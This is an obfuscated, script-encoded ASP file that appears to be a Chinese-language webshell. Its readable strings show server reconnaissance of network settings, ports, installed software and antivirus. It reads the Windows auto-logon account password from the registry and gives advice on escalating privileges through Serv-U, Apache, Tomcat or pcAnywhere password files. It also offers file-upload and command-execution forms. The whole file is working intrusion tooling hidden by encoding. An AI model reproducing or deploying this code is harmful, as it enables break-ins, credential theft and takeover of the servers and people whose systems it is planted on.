B{OtTk+4~[Y@!@*EDnYUn1BxxTrVmP.O@!╁[qdx&?╋╁@*:MG6z@!@*DDz@!@*ND&@!@*B+B{+;sm\PEUWbYmmvx+sl Pvxn[9k4B{nwHY~O!wxr@!@*BawZlM+[MW(B'VHO/E询查Bx+!VC-,BYbh4!/B{n2XDPDE2xr@!@*BawZlDN.G(B'nsHYdB╁Lb╁"f9z{dbZ}S╁vd+^4CkMl#.\DjRD/+!53DL╁B{+;VC-,BXFEx+.kd~Ewkvx:Cx,vD6nDB{+wHY,OEaxr@!╁Lkjxb?╋╁@*E+ WA2A:v'MW^W^o8~9Y@!@*9Oz@!i2d(x[@*vy *AA3[BxMW^WmT4,[Y@!@*[YJ@!K(器务服@*B y*AA2aEx.W^W1o8PvTZ v'4ONbh~vZ BxO4or+4~9Y@!@*BM+Y +1v' orVmP.O@!@*B0Ul^4{ExO+TDmY~Bh.K02kEx+slU~Ew/C kwrzsG1R02FakRShS&z=wOY4BxUKkY1CPD/Wax[W4Y:~:.G6@!╁'qkxqU╋╁@*.OJ@!@*[OJ@!╁'#╁A\z1m"2jI2U╁`UnV(brIm\.n7D+U Kk2j$3.[╁@*By *A33[BxDKsW1o8~9Y@!@*[Dz@!iad(x'@*By c~2A:B{DGVKmL8,NY@!@*NDz@!名器务服@*v+ WAA2:Bx.KVGmT8PE!T+E'tO[bh~BZ+E'O4ob+t,ND@!@*EDnY +^v{xobsl,DY@!╁'(?{kU╋╁@*.Y&@!@*NOz@!息信件组器务服@*B!xnhE'DGsKmL4,vM+O +1B' obsl,BfB{xC2kVW1~BZ B{O4ob+4P[Y@!@*MY@!╁[bj'&/╋╁@*vM+YUn1BxxTr^l~E!E'o k9[laVs+1PvqE'o rmmw/^snm,BZBxDn[MW8PE;x:vxMWVG^T4~BuTRBx4Y9kh,+^8lD@!@*D(@!╁xrkJ)=36ZE:nc?4kUlUs;Uv?4kUCx*#l@#@&2x[~wEUmDrKxlA6ZE:+vjtb?CxwEUcUtkUCx*#)AanZ!K`jtrjmxoE c?4kjC ##l3X+/E:nv?4b?mxs!xvjtb?Cx*#l3X+Z!P+v?tbjCxwE `jtrjmxb#@#@&mKwz;MV'^4M`!*'1t.vF8*#Lm4.`O,b[1t.c8Fc*'m4D`8TX#Lm4DcFq+*[^tMcF8vb'1tDcfy#'m4.vFql#LmtM`8qc*[^tM`11*[m4.`+F#L^4Dv&O#'m4.vFTc*'m4Dcq8v#'^4DcF8*[^4DvFFy#L^tM`X%*[^4M`cFb[1tDv*{#Lm4Dc,1bLm4DvqFy#'^4D`qTF#'m4.vFT+#LmtM`8q,*[^tM`**[m4.`O,#L^4DvF8Fb[^4M`q!Ob[1t.cWG#'^4DcF8X*[^4DvF Z#L^tM`*G*[^4M`F8X#LmtMc*v*[1t.`1{*[^tMcF8*b'1tDcq8 b[14M`2#LmtM`8q**[^tM`q*[E!'m4D`20b[1tM`qF+bLm4DvF*[22Lmt.c2,b[14M`y#LmtM`+T#Lm4Dvc{bLmtMcF8*#L^4Dv,O#'m4.vFqc*'m4DcqZ*#'^4DcF8+*[^4DvFF+#L^tM` *[^4M`F2b[1tDvqT#=2X+/EPnv?4kUCxwEUcUtkjC #b)6;gmPbW PfKh oqd2cnzY4b=I+k2Wg/+c^s+zD=/3Y~6k:~',^DbP3}A9n/:`6A:c+~T*#=W?tRKK2g)G?tROeh+P{~F=W/s srzN6DG:o(d+~nmOC=?"xbx?P]M2-`h)DtSr-r#_8)"n?hWH/R)[9C2m9+MPJ;GUYxDO9kd2K/rYbGxr~~EmYYC^4:nxDI,0r^+ l:'r~[,:rNvw)O4~?\b)"2?h6U?RzN9Cn)9+.Pr/W YnUDOSnUTY4JB~}/hc?&y2@#@&"n/hrU/AR/4zI?APP{PJ`PoORJ@#@&]+jK}xj+c/rgK3H:K523,'~Jm2aVr1lDkW zK^YYR/DDnCsJ@#@&]2Unrgj3R(k b.XA]bK3PKj:cInC9@#@&.3kwGxU3c0s`?4@#@&K/t mdWj+@#@&jn:Prk\P{Px}P4qgo@#@&n1[~wjUmDrW @#@&W`xZO(}x~tD\d+H1rG+`k#@#@&k6PHW:Prj EV^c/*PK_nU@#@&?,'~In2^b/2vj~,J@*EBPJ'LDiE#@#@&UPx,DnVmZAc/BPE@!r~~ELVYpE#@#@&?,x~DAw^b^+cjBP/C"c&O#S~r[af1pJb@#@&j,'~"+aSb12vj~,m4Iv&*bBPJL5EKYirb@#@&UP{P]2KJzZ3`kSP1t.cy!#S~r[U4k2pJb@#@&4K:d+ ^WG2~',?@#@&AxN,rs@#@&2 [~s!x1YrWU@#@&s;x1OkKx~)9:kUik+.`*@#@&?4b?mx'r╋╋0b~N +╋╁VDKhOngRYarD1/=啊行不的奶奶他╁~nYbDSRn/UGa/nI╋ ntDP..P0r╋OX+H╋╁@*M8@!╁[nslgRxb:9CPYrDSRnd WwknI╋kD+(hnHcw!W.M%8KPUk,UksNC~4ml3~MWo╋#╁a;KDLB/MWYmDDdk khNzz╁'nsl1MnY!w:K/ 1D[╁JzlKHUb╁cY1nL(rOnV'w;GMM%4K~D+j╋*╁3MWhD+g Yak.mk╁cO1+L(6+Dl+M^ D\M+d'HO,Yn?╋号帐组k.WDl.Okkxrh9b找查vPDax~:!/+MPMGDM+~xK╋!xdDkaa2c+/ G2/Ir@#@&2an;EP+vjtb?CUwExcj4kjl b*@#@&Ax9Ps!x1OkKx@#@&UE8~V+Y:nDskxms(x6Wv#@#@&GU,+.DK.PM+d;s+PUnXY@#@&9rsPAkt@#@&/Y,A/4'^DlOnK4L^YvJk^.kaYc?4+ssr#@#@&"n/aWUdR.rD+~J]网络探测D@!4.@*@!4DPkk.n'8@*E@#@&2UC(V+:/n&n|zxJ_|dHw?ej:2\-1;DM+UO;WxO.KVj+DwU+.7k1+/'K12ka-KlMlhnD+Dkw2 l4^nj+1EMkOXor^YnDkE@#@&kd3 l4sn{dtc]o.l9`2 l(s+:m2ka|nz*@#@&&WPb/2 C8V'ZPGD~rk2Ul(s+{JE~:t+U@#@&1GY12bwWbVD+D{F@#@&2 N~q6@#@&)aN|z'rC|d\w?I?:2\-/G Y.W^j+D!Tq'?+.-bmn/'P1wra-dkx0lTn-~kUNr@#@&)aN/{ /4RIL]+mNvb2NFnH#@#@&&WP&/).MlXc)aNd#,P4+U,@#@&sWMPbxS~W;x9`)29/#,PW,jAK;UNvbaNd#Rq@#@&)w9$'"+2smm+c)aNd`bbBJwG+7km-rSJr#@#@&"+d2Kx/ MkY~E网卡JLkLJ的序列为lJ')aN$[r@!4M@*E@#@&nlO4{Ju|Ae|S6;bd{HzZ_(1A-j5UK3\'ZW ODKV?OT!8-U+.\r^/wK12ka-KCMl:nODd-&UD+.6l1+/'J@#@&qh|nX{nCO4[ba[ALJ-&K)N9D/dJ@#@&&nCN9.'q/4 "+o.nmNcqhFXb@#@&&0P&nm[NM`T#@!@*EE,KtU@#@&sWM~%'d4KEUNc(hb[NMbPDW~i(WEU[vqKb9[M#@#@&I/wKxknRqDrYPE@!^k@*&K地址JLL[r为lE[&nzN[Dc%*[E@!(.@*r@#@&H6Y@#@&AVd+@#@&"+daW /+cMrYPE@!^k@*(h地址无法读取或没有设置@!4M@*J@#@&2 [~k6@#@&MCYn mXF+HxnmY4'zwN$'r-9+6C!VOVlD+hmXr@#@&VlO+qlzxq/tc]+TD+m[cMmYCXFnH#@#@&&WPb/C.MlXc!mYnmz*PP4+ @#@&wWM~L{S8W!x[cVlYAlH#PDG~j(W!x[`!CD+AlHb@#@&IndaWxdnc.kDn,J@!^k@*网关J[N[r为lJLMCYhCzvL#LE@!(D@*r@#@&16D@#@&2sd@#@&IdwKxdncDrOPE@!^r@*默认网关无法读取或没有设置@!8M@*r@#@&Ax9~k6@#@&fg?FnH'nmOtLbw9$'J'1m:n?n.7+.J@#@&fg?dOM'd4cIno"nmNcG1U|+H#@#@&q6P91U/O.@!@*Jr~K4+x@#@&]+kwKxd+ MkO+,E@!^k@*网卡9g?为)E'G1j/D.LJ@!(D@*J@#@&2^d+@#@&]+kwGUk+Rq.kD+Pr@!sk@*默认fg?无法读取或没有设置@!4.@*r@#@&2 [P&0@#@&b0PHGDm2kaWbVOD{FP:tUP@#@&]+kwGUk+Rq.kD+Pr@!sk@*没有K1w&qK筛选@!(D@*J@#@&+^/n@#@&2KFxr-PZh)^VGS+9nWMYkE@#@&2i|{JwiGnb^sWS+NhG.YkJ@#@&oEss:ZK'hCY4[)29A[3Pn@#@&s!s^j9h'alY4[z2N~[3jn@#@&O1wl^sWS'k4 Io"+CNco!VsK;K#@#@&(W,Ym2C^VGhvT*'ErPKDPDmaCV^WA`Z#xT,KtU@#@&I+k2Gxk+c.kOn,J@!Vb@*允许的K;n端口为l全部@!(D@*E@#@&2s/@#@&InkwKx/Rq.kD+~J@!Vr@*允许的:Zn端口为=E@#@&sWM~%P{PdAGEU[vY^wmsVKhb~:WPi$KEUNvO1wC^VKh#@#@&"n/aWU/R .bY+,OmalV^GA`N#LJSJ@#@&g+aY@#@&I/2G /+ MkO+,E@!A.@*J@#@&2 N,r0@#@&;NalssKh'qdtcI+T]nl9`wEsVi9h#@#@&&WP!N2C^VWAcZ#xJr~KD~!NalV^WSc!*'TP:tnU@#@&IdwKx/ DbYPE@!sr@*允许的j9n端口为=全部@!4M@*E@#@&2Vdn@#@&]+k2KxdRqDkD+,E@!^k@*允许的jGn端口为lE@#@&0K.PNP',J$W!x9`;N2C^VGh*~KKPi$KEx[c!N2l^sKhb@#@&"+/aW d+c.kD+~iGnl^sWS`L*'E~r@#@&xn6O@#@&In/aGxk+ MkYn~r@!8D@*E@#@&3 N,k0@#@&AUN,kW@#@&IndaWxknRqDkDn~J O ORORR ORO RO ORR OORR ORO R OR O OO O RO ORO @!8.@*J@#@&H+XY@#@&nUN,k6@#@&IndaWU/ MkOn,J@!8.@*@!8D@*,特殊端口探测Y@!8M@*@!tD,/b"+{F@*J@#@&Pn^x+DV+H'J_F35|S}Z)Sm\zZuqg3-UroPqbI3w,HrmMGkWWD-:+V +Dj+M\nD'F T'K+^U+DnWMOE@#@&K^xOnG.D' /4 Io]nmN`Pn^xnYnnH#@#@&k6PK^xDKWMYxJrPP4xP:sxD'Jyfc默认设置#r@#@&In/2G /nRq.kD+~E@!Vk@*PVU+D端口lr[P^xDwWMYLE@!(D@*J@#@&PnM:|z'rC|AemS}ZzSmH)/_qH2'j5UK3\'ZE..xOZKUDDG^?Y-;W ODKVwKDhr lV,j+M\+Mw Nk-MN2h[w:Nd-D^w'nG.D1Eh8DE@#@&PDhhWMY'q/4 Io]+mNcPD:nnX*@#@&&W~KDsnGDOxrJ~K4nx,Kn.snW.O{J无法读取 请确认是否为bU9WAkPU+D7+M版本主机E@#@&In/aWUdRMrYPJ@!sr@*:+M:rxCs,?nD7rm端口为)E':+DhKKDO[r@!(D@*r@#@&wmzxHAtDn|XxE_|2ImS}Zbdm\b;C&13-j6wK b"3-UXhC Y+^wam)xHA4+.-;EDM+ O.DdkKxwjH/Yh-:Zn&K9lDlhW.YE@#@&n)hGDD' d4RInL"+CNv21bUHh4+D|z#@#@&(0,n) hWDDxJrPY4nUPhbqnGDOxr无法获取R请确认主机是否安装2mzUXStn.J@#@&]/2W dR MkD+Pr@!^r@*hm)xHh4nM+端口为)r'nznK.O[r@!(D@*J@#@&"+dwKU/R .bY+~E ORO R OR O OO O RO ORO ORR OO RO OO RRO O ORORR ORO RJ@#@&jnDPhdp,'~?.7+.cZM+lD+}8LmO`rj^MkwD ?4+V^Eb@#@&fb:~Yn.skUl^KWMYKCDt~~ODhk C^nGMYn+XBPDnDsnGDD@#@&9b:Pm;YKSWTrUnmY4~~l;OKSGobUjk+.FX~~C!YGSKLbxKm/k|+H@#@&9ksPr/zEOGdWobU2 l4^nSPmEDWJWLr 2Ul(s+n+zS,lEOGdWLk ik+. ls+~,l!OWdWLk nCdkhWM[@#@&Y+MhrxmVhW.YKCDt~',ECnS\wU5?P3t-/EM.xO;W YDKVUnY'ZGxDDGs'K+Mhk lV,jnD7+M- kUjDlOkKU/'I9K Km2wr@#@&Y.skUmVhWDD|zP{PEnKDOH!:4.J@#@&Y.hnKDDPxPAdoR]+T]+mNcOD:rUmVKWMOhlO4PLPYDsrxmVKWMYFnH#@#@&]DUJ终端服务端口及自动登录@!Ks@*J@#@&&0~Yn.snGDD~',JE~}DP3.MRHEs8D~@!@*,!P:tUP@#@&]IUJ无法得到终端服务端口S~请检查权限是否已经受到限制c@!4M&@*r@#@&,3s/@#@&I.?E当前终端服务端口l,J~[,O+M:KGMYP'~r@!8DJ@*r@#@&Ax9Pq6@#@&CEDWJWTkUKmYt,xPrC|AemS}ZzSmH)/_qH2'jrwK )"2-\r1DG/KWD- bx9WhkPgP-;E.DxO#D/bGx'k sGoKx'J@#@&C;DWJWTrxAxC8^+|nz,'~Jz;DW)9:bxSKoKUJ@#@&CEDWJGTkx`d+M|+H~xPrf0CEsO`/nDgC:J@#@&mEYGJKorxhCk/FX,'PrfWl!VOnm/dAKDNr@#@&b/b!OGSKobx3xC8^+~',A/oR]nTI+C[vl;YKJKor nmYt,[,CEDWJWTkU3 l4^n|X#@#@&(0,kkb;YGJKorxAUl(Vn~{P!~P4+U@#@&]M?E系统自动登录功能未开启@!4Mz@*r@#@&3Vk+@#@&mEOGdWobUjk+D Ch+,',hd( ]o]+m[`mEOGdWorUhlOt,',l;DWdWobx`d+M|nX*@#@&]M?J自动登录的系统帐户=~J,[Pm;OWdWTkUjdnMxC:~[,J@!8M@*J@#@&mEOWdGTkUhlk/hKD9~',hd(cInL"+l9cl!YWdGLk nmY4P'~mEOWdGobxKCk/|nz*@#@&q6~AD.,K4+x@#@&A.DcZs+mD@#@&"D?rol^/+r@#@&2 N,qW@#@&]M?E自动登录的帐户密码),EPLPC;DWSGLbxKlkdSW.9PLPJ@!4M@*J@#@&3x9P(W@#@&IMjJ@!zW^@*E@#@&I/2WUdR DbO+,J@!8M@*@!8.@*@!8D@*,系统软件探测Y@!8M@*@!tD,/b"+{F@*J@#@&jG6YnmOt{/4 3x7kMWU:nUDRrYh`rnCO4J#@#@&hlOtbU6Wx^mm/+v?KWYhlOt*@#@&]/wKU/RMrO+,J系统软件支持=J@#@&rW,qU/D.`hlO4bx0GSrwnD^E*PP4+ PI/aGxk+ MkOn,J@!^r@*h+D^脚本l支持@!4M@*r@#@&kW~bxdYMcnmY4r 0WSENl-lrb,K4x,I+kwKU/R DbYn~r@!Vb@*9m\l脚本=支持@!8D@*J@#@&r0~r /ODvKlDtrU6W~Ehbm.WkG6Y~k;^P/D7nDr#~K4+U~"+/aGxk+Rq.rYPr@!sk@*\U?}S数据库服务=支持@!4M@*E@#@&k0~r /ODvKmY4bx6W~r:Hd;^JbP:tnU,I+k2W /+c .kD+,J@!Vr@*tXjpd数据库服务l支持@!(D@*E@#@&kW~bxdYMchlO4k 0WBJK.l1VnJ*PP4xP"n/aWxkn MkD+~J@!sb@*6Dm^V数据库服务)支持@!8M@*J@#@&b0~k dDDchlDtk 0KSJ10;/bWUhXGJ*~K4+x,]n/aW /nR .bYnPr@!Vb@*/ot服务器)支持@!8.@*J@#@&bW,kUkYM`nmY4rx6WSJamCUHht.+r#P:4nx,I/2WUdR DbO+,J@!sb@*赛门铁克n^) XAt.控制)支持@!(D@*J@#@&k6~k /ODvnCO4kx6G~r|k^sE#,K4+UP]nkwGxknRqDrOPJ@!sb@*Fk^s杀毒软件=支持@!8M@*r@#@&b0,rxkY.`hlO4bx0KSJ0l\rb~K4+ P]+d2Kxd+c DbYn~r@!Vr@*,金山系列杀毒软件)支持@!4M@*r@#@&b0,kxkYMcnmY4k 0GSrlxDr\bDEkEbP:tx~IndaWU/ MkOn,J@!sr@*赛门铁克杀毒软件)支持@!4M@*r@#@&b0,kxkYMcnmY4k 0GSrDkkrxTJ#,P4+ P"+dwGUk+ MrYPE@!^k@*瑞星系列杀毒软件l支持@!(D@*J@#@&alO4/{/w^kDc?K0OnmY4SriJ*@#@&"+/aGU/RqDrYn~rORO RO ORR OORR ORO R OR O OO O RO O@!4M@*E@#@&I+k2W /+c .kD+,J系统当前路径变量l@!8.@*J@#@&wGD,kxJ(WEU[vwCY4d*POKP`4W!x9cwmY4/*@#@&]/wKU/RMrO+,J@!Vr@*E'alOtkck*[E@!(D@*E@#@&xn6D@#@&InkwKx/Rq.kD+~J@!4.@*@!4D@*,系统设置探测T@!4D@*@!4D,/byn'q@*r@#@&w1Uls+VnH'JuFdHw?Ij:2\'Z!DDxD/W Y.W^?nO'ZW ODKV-;Ghw!YDHlhn'ZG:a;YDHCs+-/Gsw;Y.glhJ@#@&w1xmh+{hdtcInL"+l9cw1xlsnV+H#@#@&r0~21xC:xJrPP4xP2^ lh+{E无法读取主机名c@!8M@*r@#@&"+k2W /nRqDrOPJ@!sk@*当前主机名为)JL2^xm:[E@!8.@*J@#@&z[:bxHCs+|nz{Ju|Ae|S6;bd{HzZ_(1A-jrwK )"2-trmMW/KWO-qk NGhd~gKwZ!.DxO#D/rG - k sKoG -zVYG+6CE^Yi/DHCs+J@#@&b9:k HC:'S/4R]nTInl9cb9:rUgl:nFXb@#@&r6PC9:bxxm:xJrPPtx~)9:k Hls+'r)[:bxb/ODCOKDE@#@&]+kwGUk+R .bYnPr@!^k@*默认管理员用户名为=JLbNsk Hls+'J@!4.@*r@#@&bdb!YW^GLk 'rCF2emdr/bdmHzZu(g2-j6wK b"3'Hr1DK/W6Y' k NGhkPHP'ZEM.+ Y..dkKx'rxsGTWU-z;YKb[hbxSGLKxE@#@&)!YG^WTkx{k4R"+LIl[cb/b!OW^WobUb@#@&k6P)EOG^WLk x!,W.~zEYGsKorx{ErPP4+ @#@&"+k2W /nRqDrOPJ@!sk@*用户自动登入)未启用@!(.@*J@#@&AVd+@#@&"+dwKU/R .bY+~E@!Vr@*用户自动登入=启用@!(D@*r@#@&bNsk xkt Io]nmN`ru|A5{d6/bd{tb/C(HA-jrwPzI3wtkm.GkWWY' bx[KhkP1:-;;DM+UYj+.dbWx' k VWTGU-G+6l;VOik+.1mh+r#@#@&hl/dA9' /4 "+L"+mN`rCn35|S6ZzSm\zZC&H2'?rwP b"2'Hrm.GkWWY' k NGAkP1Pw;E.DUD.nM/bWx'bUVKoGx'fnWmEVDKlk/hK.[J*@#@&In/2G /nRq.kD+~E@!Vk~OHwn'k5!l.@*用户名=J[zNsrxLJ@!4M@*E@#@&I+k2W /+c .kD+,J@!Vr~DX2+{d;!l.n@*密码)J'Km/dh9'r@!8M@*r@#@&Ax9~k6@#@&Nb/2sKok xhktRMnLIl9`ECF3I{Jr;)S|H)/_q13wUWWYSCM+wtk1DWkW6O-qkUNKhdw;EDMnxD.+MdrW -hWsk^r/w?HdY:w9KxY9rkwslHJm/O`/D1m:E#@#@&(0,NrdaVWTrx{JJ,G.P9kkwsWLr 'TP:4+ P[rkwVzxr是J~+^dP[b/aVX{J否r@#@&"+dwKxdncDbO+,J@!^r@*是否显示上次登入用户)r[9kdwszLJ@!4M@*J@#@&HPtS3nz{Ju|Ae|S6;bd{HzZ_(1A-jrwK )"2-trmMW/KWO-:+^xnYjnM\nD'qRZ-HPtSJ@#@& YhV{ kt "+TI+mNvHKtSV+H#@#@&b0P O:^'Jr~Ptx,1O:sx8@#@&IdwKxdncDrOPE@!^r@*Kn^xYPgYss设置为)r[UYsV'E@!4D@*E@#@&t3{Eu|dH'?e?P3t-/W ODKVjnD!!qwU+.\b^/w:makw'2 ;:'ZGE YE@#@&33{A/4RIL]+mNvtV#@#@&"+dwKU/R .bY+E@!^k@*当前活动网卡为)r'03'r@!(D@*r@#@&]+kwGxk+ MkY~J OO RRO O ORORR ORO RO ORR OORR ORO @!(D@*@!4M@*@!(D@*E@#@&In/aWUdRhMrYPJ]服务器弱点探测D@!4M@*@!t.@*E@#@&?nY,G4NZGhaEYn.,'~MO}4%mD`Jqk HK=z&Rr#@#@&U+Y,dl,'PUn.\DcZ.+COr8L^YvJj4VV )awsk1CDkG J*@#@&K4N/Wsw;YD obVY.P{PbM.CXvJU+.\r^Jb@#@&6x,2..KDP]nkEh+,H6O@#@&wWD,2m^t,W8LU+.-bm+,(x,W4N/G:aED+.@#@&r6PG4Nj+M\r^R1Ch'E?.7OirP:t+ @#@&r0,W8LU+.-bm+cj+M\k1n)m1W!xO1Ch'ESK^l^?zdD+:E~:tnx@#@&"+daW /+cMrYPE@!^k@*服务器中有jD\ i安装~且以dWmmsjXkY:权限启动S可以考虑提权@!8.@*J@#@&AUN,kW@#@&2x[~b0@#@&bW,V^m/`W(LUnD7k^+c1Ch#'rCwmmtE~K4+ @#@&kW~K4%?.\bmn U+D-r1+)m1G!xOgls+'rSK^l^?z/D+hE,KtU@#@&q0,rU/DDvIn;;nkY ?.\D#CMkl8s/cJU3".3"{Urs:z]2r#SJzwC^4+J*~K4+x@#@&]+kwKxd+ MkO+,E@!^k@*当前 AA服务器为b2C1tnR可以直接提权@!8M@*E@#@&AV/@#@&]+kwGxk+ MkY~J,@!Vb@*服务器中有)wmm4+服务存在S启动权限为SG^mVjXkO+s~可以考虑Kuh木马@!4.@*r@#@&2 [,kW@#@&xN,k6@#@&Ax[Pb0@#@&b0PbU/DD`^^C/`K4%?n.7k^+cHls+bSrYWh^mYE#,P4+U@#@&b0PK4Nj+M\rmRjnM\k1nb1mW!UO1m:'ESG^mVjXkO+sJ~P4+x@#@&"+dwKUk+ qDbY+,J@!sk@*服务器中有KG:1lOS且以dWmms?H/Yh权限启动S可以考虑使用9kw木马提权@!4.@*E@#@&2UN,r0@#@&3U9PkW@#@&kWPbUkY.vV1l/`K8LU+.\bmn gl:b~rhk hCk^J*PPtnU@#@&r0,G4N?n.7kmn U+.\b^b^1W!xYglsn'rSGmmVjzkY+sEP:t+ @#@&I/aWU/n qDrY~J@!Vr@*服务器中有tlor^,rxsCbVS且以dW1lVUXkO+s权限启动~可以查找 +(HCr^目录~并且写入n_K木马@!(D@*r@#@&2 N,kW@#@&3 N~k6@#@&g+aO@#@&?nO,0dW{jD-DcZDlDnW(LnmD`Ej1DkaOk oRwrs+UXkYn:68N+^Yrb@#@&?zd9Dk-n{Vn0Dcw/GcMY/a+1rl^sGV9+.cy#~yb@#@&/+M-nD ls+xhd4cIno"nl9`EunSHwjI?P2tw;E.M+ YZKxD.W^?nY'ZGUDDW^wZK:w!OnDgls+wZGhaEO+MHls+w/K:w;ODHlsnr#@#@&q6P0kWcok^+36b/Odv/Xk[Db\+M'E-GW1Eh+UOkP)x9~?YOr o/w)^V~jknM/wzwaVk1lDrW P9lDlwjH:l O+1-JLdnD7+MxC:n'rR^k6E#,K4n @#@&]nkwGxknc.bYPJ@!Vb@*发现w1bUXStn.密码文件~可以从默认目录下载并破解得到w1)xHht.n密码J@#@&Ax[PrW@#@&3x9~?!4@#@&@#@&@#@&o!x^YbG PiasbV+v#@#@&P,qWP"+5;/YvEb1YkKU+J*'rnG/OE,K4+ @#@&,P~~U+Y~i{xnh,ihZ~=PU+Y,s{iR`bcJdW^C^sk^nJ*@#@&iiHls+{j 0G.s`EKKKlDtEb@#@&P~~,qWP`Hm:n{JrPrMPw sbVn?bynxZPY4nx@#@&P,~~P,?&'E@!8.@*请输入上传的完全路径后选择一个文件上传"E@#@&~P,P3sk+@#@&~,P~P,~,s Ul7+bkP`Hls+@#@&,P~~,PP,(0,2DM UEs4Dx!~P4+U@#@&~P,P~~,PP~j&'E@!1n YnM@*@!4D@*@!(.@*@!4.@*文件r[iHm:+LE上传成功!@!Jm+ OnD@*J@#@&7d3U9Pr0@#@&dAx[~&0@#@&7U+OPwx WO4k o)U+D~j{xGY4kUL@#@&dU('Uq[~C^3`D^@#@&d]]UPjq@#@&dUtGAADDcb@#@&7IdaWUk+c2x9@#@&~PAx[P&0@#@&,PP,jq{J@!(.@*@!(D@*@!8D@*@!Dl8V~4KD[nM'BTv,mnV^2mN[bxT'BZB,^+^VdwmmrUT'BZvPmVkTUxB1+ YnDv@*r@#@&P,~PUqxj&[J@!WKDhP Cs+xEjasWM:E~:Y4W9'v2K/YE~l1YkKUxBr[`IJ[E_zmOkKU'`wor^+[)^DkGxyxhWdDB,+x1YH2+{BhE^Yr2mDYJWWM:O9COlE@*r@#@&P~~,?('U([r@!O.@*@!Y[@*r@#@&P,~,?({?&[J上传路径:@!k 2EDPUls+xv:WnmOtEP\ms;+{Br[]InKmY4`Un/kkGUvJsGs9+.nmO4JbLJ'Z:9Ra+r#'JEPdr.+'E*!E@*J@#@&~P,PUqx?('rP@!k 2EDPUCs+'vJKmCVwr^+v,YHw+{B6rVB~Pkk"n{B lv@*r@#@&,~~PUq{?([E~@!kUw!OPDX2n{B/;8skOB,Um:n{BUE4skDvP7lsE'v上传v@*J@#@&~P,P?&xjqLJ@!zON@*@!JY.@*@!&0KDh@*@!zYC8^+@*J@#@&,P]"?,?q@#@&AUN,s;x1YrG @#@&@#@&s!xmDrGx,ZsNq?4n^Vc#@#@&?4kjC 'J╋╋rd,/.D╋╁@*hMWWJ@!@*l+MlDa+Dz@!╁[*&qcMtZL(/{q/╋6(~Ng+╋wk~NUn╋mbC[bd'b/╋b3`DK~SAS(0hhAK"U`Vk62DnVf rks~s^bm╋jrdmRo/J2^q6W╋bSJCGbnIcaZ^+s(6W`39KZH+^\:C M2jI+k'z)b╋*!~~?J)wP~8~~AVqw2h2DyU`~+J(wKa+DH2ar dwP'~a1SnSboKPP/╋*╁YmL(6:YdXU+srwRo rYakD1j╁cK12x462OCD^P{~/6PP3U╋#2i]:PS!,SVrwns2K\/,'P╁,@*~╁PLP9\;s2G~[,╁PmJ~╁'CDbhSs+4jvPHjM /qPsJzm╋#╁OaDR[:1╁c_KCanmHR"2j]2UPxPSroh:+Dt/╋*╁Ym%8rs+D/z?nsbs o rYak.^U╁`Y^3xA6+:)AI^cDA\DA?{6?wPO+k╋#╁sst?cOwbDmU ╁cY12NA62P)D/RM3\M2dxUPP3U╋#╁sV4UROakMm?q╁`D/2N4G+:ln.;RD-D/'k ~K/╋:6n1~ntEd2"~I}D.3,xW╋3jd+╋Clz'&/x&?╋^SlGb]R:jGfD? [G'lz)╋#9:mw3[[╁,mJP╁'tPChVs+4d`;2a3cHmx99PO2U╋b*!S8`D4WvK1nL~WnYm+./{Hm,O2U╋1+_P~╁/X╁{#╁Owr.1/A╁`t.rwROjAj;3.,0r╋xA4DP╁╁@*@!#╁9:m╁vH"G0cYj+`;n.,sq╋╁@*vNsmB{ddl^m,BI!**=Y4obntp]TT8)tO[bhv'sHYj,lDlD6O@!@*B行执v'EsC7PBDr:(E/ExnwHY,Y;wUr@!P@*B╁L9H;03[L╁B'n;^l-PEYy,l4Y9khE'sXD?~B9:^v{+:mUPDEw r@!╁[&/{kj╋╁Vsn4? YarD1? @*╁Lf2F/AC/[╁EdXv{+!Vl7PEOwbD^/SBxnslx,v6K431n4mE'wzY~^{/dl^^PDE2Ub@!╁[(j{qj╋╁iad(x'pwk4xL@*EY!F)4Y9kAv{+VHO?,B╁[_P)n^VAtj[╁vxEsl7~Bh?vx:lU~DE2xb@!:径路dS3_?╁Lk?{kk╋╁@*BD/GwE'[G4Y+s~:MW0@!╁x(?╋*╁Nsm╁cYjn!p3D,xPGH^oAfPU34Y~╁╁@*@!b╁9:^╁vYU+E$2"~s&╋╁╁'92nmnu1PxA4Y,╁/+H╁@*@!#╁DwbD^/A╁c:?nj$3I,s(╋╁nX+R[h1╁PxP4Oznsd2_/P +_PP╁╁{tOlaVs34/P6(╋#╁4Ylhss+4?╁vx6qjd/xCD)wdSn4U╋#╁nj╁c:/3E53MPx,#╁4YlhV^ntU╁`Hr&/jnUPxAuY,╁╁@*@!*╁Kj╁`:?j}2.~wq╋╁[+0^+4m~╁xG+3/n4ZE@#@&3X+/!K`?4kUCxwEU`Utrjmx#*@#@&@#@&2g9~s!x1KrWH@#@&0i11OkKx~/M2lOnsf$`aC:Cb,@#@&PP,/&xJ@!4.@*@!4.@*r@#@&,~PU+K,^~',m"2)Y3G~LnZDcr~Kc+B!#b~@#@&~P,/cm]b:+`rnMG\bNnD{Hr^MW/KWYc9+D 6SAf~R*RTIGlOl,jW!D^n{JP'~alPC*@#@&P~,/YP;P{~1KY4kgM@#@&,PP&oPIIcUi:(2M'TPOuA1@#@&,~P,Pj(,'Pj(,[~nmO4P',J建立成功eJ@#@&P,~2 f~qw@#@&~,P?bx/b[Az^FEMV,@#@&P~~"DjPUr@#@&2U[,sEU^DkGx,@#@&@#@&wE mYbW ~ZK:2l1Y\[(`nmOt*@#@&&W~1KY,r8KcTBFbP:4+ @#@&~,PPjnDP/';.lOr(L+1Yv64:`f~Z#b~@#@&P,~P,PZc/G:al1Y9lOC(ld+,EnMW-r9+Dx\bm.WkG6Y x+DRrd2G$RWRTiGlOC,?W!.m'JLKCY4[r~KDG-bNnD{\k1DGdK0Y BY rd3GA WRZifmYm~?KE.m'E~LnlD4@#@&d?O~Z{1KY4kUL@#@&3Vkn@#@&P~jYPoj}'/DCD+6(LmYvr(P`Z~q#*@#@&~,q0,o?}Rsbsn2XkkYd`KCDtbP:4+ @#@&~,PPjnDP/';.lOr(L+1Yv64:`f~Z#b~@#@&P,~P,PZc/G:al1Y9lOC(ld+,EnMW-r9+Dx\bm.WkG6Y x+DRrd2G$RWRTiGlOC,?W!.m'JLKCY4[r~KDG-bNnD{\k1DGdK0Y BY rd3GA 